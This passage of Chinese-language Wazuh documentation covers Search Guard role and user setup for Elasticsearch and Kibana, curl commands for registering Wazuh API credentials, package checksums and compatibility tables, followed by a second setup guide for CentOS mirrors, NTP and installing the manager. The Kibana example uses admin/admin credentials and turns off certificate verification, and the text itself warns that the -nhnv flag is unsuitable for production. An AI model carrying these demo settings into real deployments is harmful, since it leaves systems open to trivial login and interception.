CREATE_INDEX '*beat*': '*': - CRUD - CREATE_INDEX 'wazuh-alerts-3?x-*': '*': - CRUD - CREATE_INDEX 注意：用于Search Guard角色的点被替换，3?x实际上意思是3.x 2.应用更改： # /usr/share/elasticsearch/plugins/search-guard-6/tools/sgadmin.sh \ -cd /usr/share/elasticsearch/plugins/search-guard-6/sgconfig -icl -key \ /etc/elasticsearch/kirk-key.pem -cert /etc/elasticsearch/kirk.pem -cacert \ /etc/elasticsearch/root-ca.pem -h <ELASTICSEARCH_HOST> -nhnv 警告：在生产环境中，不建议使用-nhnv标识，因为它忽略了证书问题。 3.重新启动Elasticsearch和Logstash服务： # systemctl restart elasticsearch # systemctl restart logstash 此时，您可以使用user:password 身份验证和加密通信来保护您的Elasticsearch集群。这意味着必须对指向某个Elasticsearch节点的任何Logstash进行身份验证。此外，对Elasticsearch API的任何请求都必须使用https plus user:password 身份验证。 为Kibana设置Search Guard 目前，不支持同时使用X-Pack安全性。如果您的环境当前正在使用任何X-Pack安全功能，则必须先将其禁用，然后再继续阅读本示例。 对于Kibana，您需要编辑文件/etc/kibana/kibana.yml并添加以下行： xpack.security.enabled：false 现在重启Kibana服务： # systemctl restart kibana Kibana也需要Search Guard插件。插件版本控制就像Elasticsearch插件版本一样，这意味着你必须完全适合你的Kibana版本。 像其他安装组件一样安装： $ sudo -u kibana NODE_OPTIONS="--max-old-space-size=3072" /usr/share/kibana/bin/kibana-plugin install https://search.maven.org/remotecontent?filepath=com/floragunn/search-guard-kibana-plugin/6.5.4-17/search-guard-kibana-plugin-6.5.4-17.zip 2. 编辑Kibana配置文件，它位于/etc/kibana/kibana.yml，添加以下行： # Elasticsearch URL elasticsearch.url: "https://<ELASTICSEARCH_HOST>:9200" # Credentials elasticsearch.username: "admin" elasticsearch.password: "admin" # Disable SSL verification because we use self-signed demo certificates elasticsearch.ssl.verificationMode: none # Whitelist the Search Guard Multi Tenancy Header elasticsearch.requestHeadersWhitelist: [ "Authorization" , "sgtenant" ] 现在，您可以像往常一样访问Kibana UI，它将提示您登录，您可以使用现有的admin的用户访问它。 接下来的步骤我们将学习如何定义新的Kibana UI用户以及如何根据他们的需要为所有用户定义特定角色。 有关详细信息，请参阅Kibana Search Guard插件。 Kibana UI和Wazuh应用程序 Wazuh应用程序需要管理.wazuh和.wazuh-version索引才能正常工作。服务器端使用索引.wazuh-version。 警告：只需从Elasticsearch集群中的一个主节点执行 Wazuh app用户 1.在/usr/share/elasticsearch/plugins/search-guard-6/sgconfig/sg_roles.yml中创建新的Search Guard核心角色 sg_wazuh_admin: cluster: - indices:data/read/mget - indices:data/read/msearch - indices:data/read/search - indices:data/read/field_caps - CLUSTER_COMPOSITE_OPS indices: '?kiban*': '*': - MANAGE - INDEX - READ - DELETE '?wazuh': '*': - MANAGE - INDEX - READ - DELETE '?wazuh-version': '*': - MANAGE - INDEX - READ - DELETE 'wazuh-alerts-3?x-*': '*': - indices:admin/mappings/fields/get - indices:admin/validate/query - indices:data/read/search - indices:data/read/msearch - indices:data/read/field_stats - indices:data/read/field_caps - READ - SEARCH 'wazuh-monitoring*': '*': - indices:admin/mappings/fields/get - indices:admin/validate/query - indices:data/read/search - indices:data/read/msearch - indices:data/read/field_stats - indices:data/read/field_caps - READ - SEARCH 2.为您的密码创建哈希 bash /usr/share/elasticsearch/plugins/search-guard-6/tools/hash.sh -p yourpassword 3.使用步骤2中的哈希在/usr/share/elasticsearch/plugins/search-guard-6/sgconfig/sg_internal_users.yml中创建新用户。 wazuhadmin: hash: $2a$12$VcCDgh2NDk07JGN0rjGbM.Ad41qVR/YFJcgHp0UGns5JDymv..TOG roles: - wazuhadmin_role 3.在/usr/share/elasticsearch/plugins/search-guard-6/sgconfig/sg_roles_mapping.yml中设置Search Guard角色的角色映射 sg_wazuh_admin: backendroles: - wazuhadmin_role 4.应用更改： # /usr/share/elasticsearch/plugins/search-guard-6/tools/sgadmin.sh \ -cd /usr/share/elasticsearch/plugins/search-guard-6/sgconfig -icl -key \ /etc/elasticsearch/kirk-key.pem -cert /etc/elasticsearch/kirk.pem -cacert \ /etc/elasticsearch/root-ca.pem -h <ELASTICSEARCH_HOST> -nhnv Kibana简要总结 现在你有两个Kibana用户： Kibana服务器使用Search Guard中预定义的管理员用户（/etc/kibana/kibana.yml）。 Kibana UI wazuhadmin用户可以看到所有并修改.wazuh索引。 它是如何进入Wazuh应用程序？ 主要区别在于您现在必须在进入Kibana之前登录。另请注意，如果不允许用户使用某些索引，则不能在Kibana上使用它们。 参考 https://docs.search-guard.com https://github.com/floragunncom/search-guard 自动插入Wazuh API 如果您想更快地在我们的某个应用程序上添加Wazuh API凭据，您可以执行以下命令之一，具体取决于您使用的应用程序： Kibana应用程序 # curl -X POST "http://<ELASTICSEARCH_IP>:9200/.wazuh/wazuh-configuration/1513629884013" -H 'Content-Type: application/json' -d' { "api_user": "<WAZUH_API_USERNAME>", "api_password": "<WAZUH_API_PASSWORD>", "url": "<WAZUH_API_URL>", "api_port": "<WAZUH_API_PORT>", "insecure": "true", "component": "API", "cluster_info" : { "manager" : "<WAZUH_MANAGER_HOSTNAME>", "cluster" : "<WAZUH_MANAGER_CLUSTER_NAME>", "status" : "<WAZUH_MANAGER_CLUSTER_STATUS>" }, "extensions" : { "audit" : true, "pci" : true, "gdpr" : true, "oscap" : true, "ciscat" : false, "aws" : false, "virustotal" : false, "osquery" : false } 请注意以下事项： <ELASTICSEARCH_IP>是Elasticsearch主机的URL 。 cURL命令（1513629884013）上使用的数字是一个随机数，用于将Wazuh API条目标识为唯一。如果要添加更多API，则必须使用其他编号。 <WAZUH_API_USERNAME>和<WAZUH_API_PASSWORD>表示要存储在应用程序中的Wazuh API凭据。 API密码必须以base64格式存储。使用将以正确的格式返回密码以供使用：echo -n '<WAZUH_API_PASSWORD>' | base64 <WAZUH_API_URL>和<WAZUH_API_PORT>是Wazuh API 的完整IP地址和端口。URL必须包含http://或https://，具体取决于当前配置。 <WAZUH_MANAGER_HOSTNAME>是安装Wazuh管理器的实例的主机名。您只需在管理器主机上运行该命令即可获取此信息。 <WAZUH_MANAGER_CLUSTER_NAME>是Wazuh集群的名称。它是在文件ossec.conf上配置的。如果您没有使用Wazuh群集，请使用Disabled。 <WAZUH_MANAGER_CLUSTER_STATUS>是Wazuh集群的状态。使用enabled或disabled取决于您的配置。 Splunk app # curl -X POST "http://<SPLUNK_IP>:<SPLUNK_PORT>/en-US/custom/SplunkAppForWazuh/manager/add_api?url=<WAZUH_API_URL>&portapi=<WAZUH_API_PORT>&userapi=<WAZUH_API_USERNAME>&passapi=<WAZUH_API_PASSWORD>" <SPLUNK_IP>是安装应用程序的Splunk实例的主机名或IP地址。 <SPLUNK_PORT>是安装应用程序的Splunk实例的端口。默认情况下，它是8000。 <WAZUH_API_URL>，<WAZUH_API_PORT>，<WAZUH_API_USERNAME>和<WAZUH_API_PASSWORD>代表Wazuh API凭证存储上的应用程序。请记住，Wazuh API URL必须包含http://或https://，具体取决于当前配置 安装包列表： manage，agent以及API 操作系统版本系统位数包SHA512校验和MD5校验和 基于Debian 3.8.2 32位 wazuh-agent_3.8.2-1_i386.deb 45fd4bf6210c21a9eb183ac6c9845ef380eb2da8c7a6c64c065866c0430036f01c8eb41c1caad7afc7a17d2016a2023c9415afa845b311d3144497b6a78dee23 d514d81444da3bb1a1310cc073daf57a wazuh-manager_3.8.2-1_i386.deb 6339a1fd455f7fdc982899cdae39974528379c8d68689f3959fb5a76bea244940f136fd5c858678ea7f1722d17f22dfcf8b039c4766230bb61f4f7ab1c4b817e 475685576e13a04a862e64f4b8ef678f 64位 wazuh-agent_3.8.2-1_amd64.deb 8328534c96c12d2df29a37c120200a0bce7de1142d5b1706cb767d541d87de0e6777a08cda9d3a010c26032e72d7255fb12ff486b4dbf48782776537deb9b455 7a800037ed34070fe84b6b9fd1aa85f4 wazuh-manager_3.8.2-1_amd64.deb 5f44124d3fcbf8f89a8f056f1f0837a1684ad86c2f81281044aa0cf653d429f932574a24a916f2e75c1f998109d8730c497ec4823f6021eb5ec1ac6a5098a644 11d0fca5514f33d0a5292aa5769c4453 wazuh-api_3.8.2-1_amd64.deb 83dc3e6c71cb670b0b2c4883941152df8b6e93729830106c6f91bef47601663f238508db4f3146c61d074a586fe4f50cf6c5baf1ec2b98b42c46110cfb2be634 a6a5a2f4b7d679e02f1b26e3ba929fb7 基于RPM 3.8.2 32位 wazuh-agent-3.8.2-1.i386.rpm d2f1b7c622f12f7da682f14453f04d346df3f77b740f204b5638b736cb9bb48ebf28c502d6e705f76f39b170b65241706220a3cb08ca315244658f9e10a7f09f c711eceea1963aa783f349d3dad6ae93 wazuh-manger-3.8.2-1.i386.rpm 4d90284fad80431b47393d954d2ca5575a426753abc2f5e6e698d551ba248823fcbe6f0760e982fa6dabafe59d77b8c0d78fe952e34cebb16654869b5b923a57 928cca5405556858798fbb0cd3bcc6be 64位 wazuh-agent-3.8.2-1.x86_64.rpm 3db04f90da1701a7ff92a12e0472d78c70d2e9d9d96f075f1c2aff62a80d094acfada805b1a9edd8ac10e8eb2577470b0165171451e7a76bc44902f4b30d5b14 d97f9ded99047f9c2afbe058f72aaf89 wazuh-manager，3.8.2-1.x86_64.rpm 9d59fbf7a058df01e275b810f2741551283e379b36618348b1da931d46a0ef35085fa36167d772d94de8aad40715702a91e2ef0ad04917601131963d78716655 92d64e9edbcddf75f570bdb732ea1e18 wazuh-API 3.8.2-1.x86_64.rpm b2d9ea714cd7f98458a33508f7b1014cf3b447f1ab532481d4a1ae70f6bcd31a3f1647b03949058dec2892ec8061c1ce81895a3a34c607403c06d61abe2c540f 7a9fa1664a7fdceb0f84c6152cfbc518 CentOS 5 RedHat 5 SUSE 11 3.8.2 32位 wazuh-agent-3.8.2-1.el5.i386.rpm 0ce0cc21542388fb39421a0cb1dab8b42c7d2bb1b6afead90281bddecfadc5761f24f6805fce09c0b16a50180b6921ddb535335e3189f28b00f90060a7e322b8 32b575cde448e1747fb0a350bd6786bb wazuh-manger，3.8.2-1.el5.i386.rpm 1504c72235aebffe29ccfddc3a5f8588e66237ac6bbc47070f50ce2778136b06e8ec3aac5e3cfe9da9d90cf34b8118abecf8c2a182b4a7c6d2139737c7293d67 d737aab2d84ebb5d0cd9ce4d447a3aeb 64位 wazuh-agent-3.8.2-1.el5.x86_64.rpm 131a69e9e4bc3a59d51d3382db58002b997cfad02da774cb34aaf577c20c031b4f57301b38b36f916bc6991e6f6acc66b58855b0a3746b4d3c2fb229cf29f9f8 769cc8a89088109b1e491ffdcb0dbf05 wazuh-manager，3.8.2-1.el5.x86_64.rpm a15c12be503be01b977d12b9b679ca834e54b19bc7615ef82b95de4267211c33344abc13ac908f0fae326ad06c86bd02602c05bcb6109c2a28cd6ba83f68c85a db57dfc16a05a8eec8bbc2c09a6d0613 windows 3.8.2 32/64位 wazuh-agnet-3.8.2-1.msi 753af161918bc3cc7fc8d3de9fc73103b54cc15453af202955e885d423293182a50e7bf5612adc2c00fdd5656698aaa94aa4618176d138ba93dd46e519dbca17 dd0b534e98b645eb1e43477b85013580 Mac OS X. 3.8.2 64位 wazuh-manager-3.8.2-1.pkg 605bcd645a518321016d33c4c0108152862581882997575b2eb3b1682a6341a807e7f92bc6f4ed483ed608cfd765be6db021a39eb3f91f310223441cadebaf1e 73bc5e724f16981130f3064a8355b700 HP-UX 11.31 3.8.2 Itanium wazuh-agent-3.8.2-1-HPUX-11v3-ia64.tar 26ce466f8c9657289383550d6277ccbffc8eb758456f57cbe8a1fc1260f1cb4cd702edec33633cf53b1d2fca6bf7e7fed3584aa07513039708c20cd2efcdeb28 2c8633fb24cbf53b869238a78073f4ad Solaris 10 3.8.2 I386 wazuh-agent_v3.8.2-SOL10，i386.pkg a4a2ba591a39a382a9f8723f6b415138f4c44a18bc17956689e1bbbd1cfe2662871cbebc0e52dbee35ca590a2f183f4c93024c1a92c7e5785e5e397deb38b687 50c407237f6d5d496365ef30e1411c79 SPARC wazuh-agent_v3.8.2-SOL10，sparc.pkg 67d9e915a144de85c9198a76b7b97e0744b1de2cafdf31c872c2c229fd66f5e7d5b62b7a8a7651e766f304142172e9aa021eb80a4201c5b3566d828e59291236 00510447e6d9e8d7f5623bd29d356986 Solaris 11 3.8.2 I386 wazuh-agent_v3.8.2-sol11-i386.p5p 9bc17cb642e590d2d1bfb6a9a3260012ac585507aa6ddb37786e4faa9254a953dca181fdfb574db523b7a915b0fe308ebb3ef9fd69f04c1f3a7e885f04abfc7d 24aaf35aba94c8191c0b23263559d749 SPARC wazuh-agent_v3.8.2-sol11-sparc.p5p c72100439bed144d34e589662e63dced353711df21f2e0a66b4100ad45c71aa2b6e2a5f1dcb86a2895c25ed74e9e12268f3478420440296937a2ede893487076 9225474a36629b86181273fbf9cbcbfe AIX 5.3或更高版本 3.8.2 LPARs wazuh-agent-3.8.2-1.aix.ppc.rpm 3f8da3a0deefb705c1ddad42d2fdb1240cfadd16f62285c4f7092cf327383e66f0314a0137cfb475261007cfd715c35692af9612b3d092e5941ce3de6111c599 2ea0dcec1066366873942bb89575af27 注意:基于RPM的软件包包括CentOS / RHEL 6或更高版本，Fedora 22或更高版本，SLES 12和Amazon Linux。 Kibana和Splunk app 产品版本Wazuh包SHA512校验和MD5校验和 Elastic Stack 6.6.0 3.8.2 wazuhapp-3.8.2_6.6.0.zip 0df564008cfb328c719a2847d3356dc620024535de65bb7b05204e7041d9037c7a71fff3ca544a00af3283589a2b2a4a74cdebbdb204194861f73a3f097a21ca 35ab8d3dcd0db78e67e50ecc283cf6b4 Splunk的 7.2.3 3.8.2 v3.8.2_7.2.3.tar.gz 443a16de801ff36170f36886083c6370efb3e10725dae8086e09aa986cd83471ba3f593d2e451a3204caf446201fefb0a4b95de3ede4189621ab9277b350c3e4 8cf2be3aa7f64c440e3b64f41547f961 虚拟机 系统系统位数VM格式版本软件包SHA512校验和MD5校验和 CentOS 7 64位 OVA 3.8.2 wazuh3.8.2_6.5.4 89386f5e0a314aef7def25fe6a46f408b014fd112df448a17784684c9ba0a253bcc5caac4e0e7ab3cf3780b8e5b7a8f9682926531cde88b01b6f94bb625160a0 dc40d69a1634271cc270bc5afd9e9539 OVF 3.8.2 wazuh3.8.2_6.5.4-disk1 a4f85d0fce81ca6020bcc1d8c88de31ec2300ec9ae6f114df225022ecb26ae7208deabe4dfb5ac41f05bc78e22e4d5a8b12311fb3d4b401e8c3fcadfe035e686 00b257363d54d9d62a8ce0b4c1f1a61f wazuh3.8.2_6.5.4.ovf 70a283c171dfac191 兼容性 Wazuh软件可以安装在许多操作系统中，但根据您的需要，某些系统可能不兼容。此外，不同的Wazuh产品之间也有特定的兼容性要求。为了帮助您，请检查以下兼容性。 操作系统兼容性 产品兼容性 操作系统兼容性 manager 下面显示了Wazuh manger的兼容性表。由于其稳定性和与Wazuh模块的完全兼容性，建议使用CentOS / RHEL 7作为Wazuh管理器的操作系统。 操作系统 Wazuh版 3.8.x 3.7.x 3.6.x 3.5.x 3.4.x 3.3.x 3.2.x 3.1.0 3.0.0 2.1.1 2.1.0 Debian Wheezy / 7 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Debian Jessie / 8 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Debian Stretch / 9 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Ubuntu Precise / 12.04 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Ubuntu Trusty / 14.04 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Ubuntu Vivid / 15.04 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Ubuntu Wily / 15.10 * ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Ubuntu Xenial / 16.04 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Ubuntu Yakkety / 16.10 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Ubuntu Zesty / 17.04 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ Ubuntu Artful / 17.10 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ Ubuntu Bionic / 18.04 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ CentOS 5 / RHEL 5 * ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✓ ✓ ✓ CentOS 6 / RHEL 6 ** ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ CentOS 7 / RHEL 7 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Fedora（> = 22） ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ （*）在这些系统中，Wazuh API不可用。 （**）要在CentOS 6中运行群集，请查看在CentOS 6中 运行群集部分 注意:该集群自Wazuh v3.0起可用，并且在CentOS 5 / RHEL 5上不起作用。 agent 在此表中，您可以查看我们支持的操作系统列表，其中可以安装Wazuh agent 操作系统 Wazuh版 3.8.x 3.7.x 3.6.x 3.5.0 3.4.0 3.3.1 3.3.0 3.2.4 3.2.3 3.2.2 3.2.1 3.2.0 3.1.0 3.0.0 2.1.x Debian Wheezy/7 or newer ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Ubuntu Precise / 12.04或更新版本 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ CentOS 5 / RHEL 5 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ CentOS / RHEL 6或更新版本 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Fedora 22或更新版本 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Windows XP 2003或更高版本 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Windows Server 2008或更高版本 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Mac OS X. ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ HP-UX 11.31 ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✓ ✓ ✓ ✓ ✓ ✓ ✓ Solaris 10 - i386 ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✓ Solaris 11 - i386 ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✓ Solaris 10 - Sparc ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✓ ✓ ✓ ✓ ✓ ✗ ✓ Solaris 11 - Sparc ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✓ ✓ ✓ ✓ ✓ ✗ ✓ AIX 5 ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✓ ✓ ✓ ✓ ✓ ✗ ✓ AIX 6 ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✓ AIX 7 ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✓ Suse 11 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ Suse 12 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✓ Amazon Linux ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ 产品兼容性 当使用Wazuh软件的全栈（这意味着，wazuh-manager，wazuh-agent，wazuh-api和wazuh-app），也有为了不同的兼容性要求，使得正常运行。 manager和agent 当agent具有与管manager相同或更旧的版本时，agent和manager之间的兼容性得到保证。 agent版本 manger版本 3.8.0 3.7.2 3.7.1 3.7.0 3.6.1 3.6.0 3.5.0 3.4.0 3.3.1 3.3.0 3.2.4 3.2.3 3.2.2 3.2.1 3.2.0 3.1.0 3.0.0 2.1.1 2.1.0 3.8.0 ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.7.2 ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.7.1 ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.7.0 ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.6.1 ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.6.0 ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.5.0 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.4.0 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.3.1 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.3.0 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.2.4 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.2.3 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.2.2 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ 3.2.1 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ 3.2.0 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ 3.1.0 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ 3.0.0 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ 2.1.1 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✗ 2.1.0 ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ 注意：Wazuh manager也与OSSEC agent兼容，但请记住，并非所有功能都可用。 manger和API API需要与major.minor manager相同的版本才能兼容。 API版本 Manager 版本 3.8.x 3.7.x 3.6.x的 3.5.x的 3.4.x 3.3.x 3.2.x中 3.1.X 3.0.x的 2.1.x的 3.8.x ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.7.x ✗ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.6.x的 ✗ ✗ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.5.x的 ✗ ✗ ✗ ✓ ✗ ✗ ✗ ✗ ✗ ✗ 3.4.x ✗ ✗ ✗ ✗ ✓ ✗ ✗ ✗ ✗ ✗ 3.3.x ✗ ✗ ✗ ✗ ✗ ✓ ✗ ✗ ✗ ✗ 3.2.x中 ✗ ✗ ✗ ✗ ✗ ✗ ✓ ✗ ✗ ✗ 3.1.X ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✓ ✗ ✗ 3.0.x的 ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✓ ✗ 2.1.x的 ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✓ API和Kibana应用程序 Kibana的Wazuh应用程序需要兼容两种不同的产品： 使用Wazuh API，它需要相同的major.minor版本。 使用Elastic Stack，它只与完全相同的版本兼容。 App version Elastic Stack version API version 3.8.x 3.7.x 3.6.x 3.5.x 3.4.x 3.3.x 3.2.x 3.1.x 3.0.x 2.1.1 3.8.x 6.5.4 to 6.6.0 ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.7.x 6.4.2 to 6.5.4* ✗ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.6.x 6.3.2 to 6.4.3* ✗ ✗ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.5.x 6.3.2 to 6.4.0* ✗ ✗ ✗ ✓ ✗ ✗ ✗ ✗ ✗ ✗ 3.4.x 6.3.1 to 6.3.2* ✗ ✗ ✗ ✗ ✓ ✗ ✗ ✗ ✗ ✗ 3.3.x 6.2.4 to 6.3.1* ✗ ✗ ✗ ✗ ✗ ✓ ✗ ✗ ✗ ✗ 3.2.x 6.1.0 to 6.2.4* ✗ ✗ ✗ ✗ ✗ ✗ ✓ ✗ ✗ ✗ 3.1.x 6.1.0 to 6.1.3* ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✓ ✗ ✗ 3.0.x 6.0.0 to 6.1.0* ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✓ ✗ 2.1.1 5.6.5 ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✓ （*）在这些Wazuh应用程序版本中，Elastic Stack有不同的兼容版本。 您可以在Kibana存储库中找到有关Wazuh应用程序的更多信息，您可以在其中查看Wazuh应用程序和Elastic Stack版本之间更详细的兼容性. API和Splunk应用程序 Wazuh的Splunk应用程序需要兼容两种不同的产品： 使用Wazuh API，它需要相同的major.minor版本。 使用Splunk，它只与完全相同的版本兼容。 App version Splunk version API version 3.8.x 3.7.x 3.6.x 3.5.x 3.4.x 3.3.x 3.2.x 3.1.x 3.0.x 2.1.1 3.8.x 7.2.3 ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.7.x 7.2.0 to 7.2.1* ✗ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.6.x 7.1.2 to 7.1.3* ✗ ✗ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ 3.5.x 7.1.2 ✗ ✗ ✗ ✓ ✗ ✗ ✗ ✗ ✗ ✗ 3.4.x 7.1.2 ✗ ✗ ✗ ✗ ✓ ✗ ✗ ✗ ✗ ✗ 3.3.x 7.1.1 ✗ ✗ ✗ ✗ ✗ ✓ ✗ ✗ ✗ ✗ 3.2.x 7.0.3 to 7.1.1* ✗ ✗ ✗ ✗ ✗ ✗ ✓ ✗ ✗ ✗ （*）在这些Wazuh应用程序版本中，Splunk有不同的兼容版本。 您可以在Wazuh应用程序存储库中找到更多信息，您可以在其中查看用于Wazuh和Splunk版本的Splunk应用程序之间的更详细的兼容性.

一、wazhu部署架构 1.服务器上运行的Agent端会将采集到的各种信息通过加密信道传输到管理端。 2.管理端负责分析从代理接收的数据，并在事件与告警规则匹配时触发警报。 3.LogStash会将告警日志或者监控日志发送到Elasticsearch上面，最后通过Kibana可视化展示日志。 分布式部署：在不同主机上运行Wazuh服务器和Elastic Stack集群（一个或多个服务器）。 单主机架构：在同一主机上运行Wazuh服务器和Elastic Stack。 两者的主要差别在于，前者需要使用FileBeat与Logstash进行日志传输，后者直接本机读取日志文件 图一：分布式部署 图二：单主机架构 二、更新源配置 如果网速比较慢的可以更换为国内软件源，默认情况下并不用 yum repolist #查看当前使用的源 cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak #备份原来的源 wget http://mirrors.aliyun.com/repo/Centos-7.repo #下载阿里云centos7源 wget http://mirrors.163.com/.help/CentOS7-Base-163.repo #下载163 centos7源 mv 你下载的源 /etc/yum.repos.d/CentOS-Base.repo yum clean all && yum makecache #清理并重建yum缓存 时间服务器： yum -y install ntp ntpdate #安装NTP和更新NTP ntpdate cn.ntp.org.cn #NTP设置 hwclock --systohc #系统时间写入硬件时间 ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime #linux的时区设置为上海时区 三、安装 Wazuh Manager 安装环境为centos7.1X64系统 方法一： cat > /etc/yum.repos.d/wazuh.repo <<\EOF [wazuh_repo] gpgcheck=1 gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH enabled=1 name=Wazuh repository baseurl=https://packages.wazuh.com/3.x/yum/ protect=1 EOF yum install wazuh-manager 方法二： [root@wazhu-manage ~]# cd /opt [root@wazhu-manage opt]# wget https://packages.wazuh.com/3.x/yum/wazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# chmod +x 